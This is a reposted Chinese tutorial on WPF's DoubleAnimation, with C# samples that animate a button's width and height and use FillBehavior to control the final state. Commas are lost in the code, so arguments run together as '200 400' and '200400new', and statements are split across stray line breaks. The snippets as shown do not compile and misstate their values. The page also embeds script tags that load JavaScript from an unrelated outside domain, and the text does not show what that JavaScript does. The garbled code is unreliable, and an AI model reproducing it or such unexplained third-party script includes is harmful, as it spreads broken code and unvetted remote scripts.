WPF中的DoubleAnimation

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>                                                                         WPF中的DoubleAnimation
                                                                                                                    周银辉

DoubleAnimation指定一个Double类型的属性,使其在指定的时间内由起点值到达终点值,从而形成动画效果.
应用它来实现动画效果,只要简单地指定几个参数值就可以了.
看下面的代码是改变一个按钮的大小的动画
  // 指定长度变化的起点,终点与持续时间
            DoubleAnimation widthAnimation  =  
                
new  DoubleAnimation( 200 400 new  Duration(TimeSpan.FromSeconds( 0.8 )));

            
// 指定高度变化的起点,终点与持续时间
            DoubleAnimation heightAnimation  =  
                
new  DoubleAnimation( 50 100 new  Duration(TimeSpan.FromSeconds( 0.8 )));

            
// 开始动画
            
// 变化不是阻塞的,而是异步,所以看上去长度与高度几乎是同时变化
            btn.BeginAnimation(Button.WidthProperty, widthAnimation);
            btn.BeginAnimation(Button.HeightProperty, heightAnimation);
这样我们就可以得到一个简单的动画,它在0.8秒内将按钮的长度由200变化到400,高度由50变化到100.

但我们会发现当动画结束后,按钮的大小保持在(400,100), 如果我们需要动画结束后将按钮大小恢复到原大小,那么我们应该指定另外一个参数:
FillBehavior
// 指定长度变化的起点,终点与持续时间,并在动画结束时恢复原值
            DoubleAnimation widthAnimation  =  
                
new  DoubleAnimation( 200 400 new  Duration(TimeSpan.FromSeconds( 0.8 )), FillBehavior.Stop);

            
// 指定高度变化的起点,终点与持续时间,并在动画结束时恢复原值
            DoubleAnimation heightAnimation  =  
                
new  DoubleAnimation( 50 100 new  Duration(TimeSpan.FromSeconds( 0.8 )), FillBehavior.Stop);

 以下是完整的实例代码:
using  System;
using  System.Collections.Generic;
using  System.Text;
using  System.Windows;
using  System.Windows.Controls;
using  System.Windows.Data;
using  System.Windows.Documents;
using  System.Windows.Input;
using  System.Windows.Media;
using  System.Windows.Media.Imaging;
using  System.Windows.Shapes;
using  System.Windows.Media.Animation;


namespace  DoubleAnimationTest
{
    
/// <summary>
    
/// Interaction logic for Window1.xaml
    
/// </summary>

    public partial class Window1 : System.Windows.Window
    
{
       
        
private Grid gridRoot;
        
private Button buttonTest;

        
public Window1()
        
{
            IniComponent();
        }


        
private void IniComponent()
        
{
            
this.gridRoot = new Grid();

            
this.buttonTest = new Button();
            
this.buttonTest.Content = "this is a test button";
            
this.buttonTest.Width = 200;
            
this.buttonTest.Height = 50;
            
this.buttonTest.Click += new RoutedEventHandler(buttonTest_Click);
            
this.gridRoot.Children.Add(this.buttonTest);

            
this.Content = gridRoot;

        }


        
void buttonTest_Click(object sender, RoutedEventArgs e)
        
{
            Button btn 
= sender as Button;

            
//指定长度变化的起点,终点与持续时间,并在动画结束时保持大小
            DoubleAnimation widthAnimation = 
                
new DoubleAnimation(200400new Duration(TimeSpan.FromSeconds(0.8)), FillBehavior.HoldEnd);

            
//指定高度变化的起点,终点与持续时间,并在动画结束时保持大小
            DoubleAnimation heightAnimation = 
                
new DoubleAnimation(50100new Duration(TimeSpan.FromSeconds(0.8)), FillBehavior.HoldEnd);

            
//开始动画
            
//变化不是阻塞的,而是异步,所以看上去长度与高度几乎是同时变化
            btn.BeginAnimation(Button.WidthProperty, widthAnimation);
            btn.BeginAnimation(Button.HeightProperty, heightAnimation);

        }


    }



    
public class MainClass
    
{
        [STAThread]
        
public static void Main()
        
{
            Window1 win 
= new Window1();
            Application app 
= new Application();
            
            app.Run(win);
        }

    }

}

文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值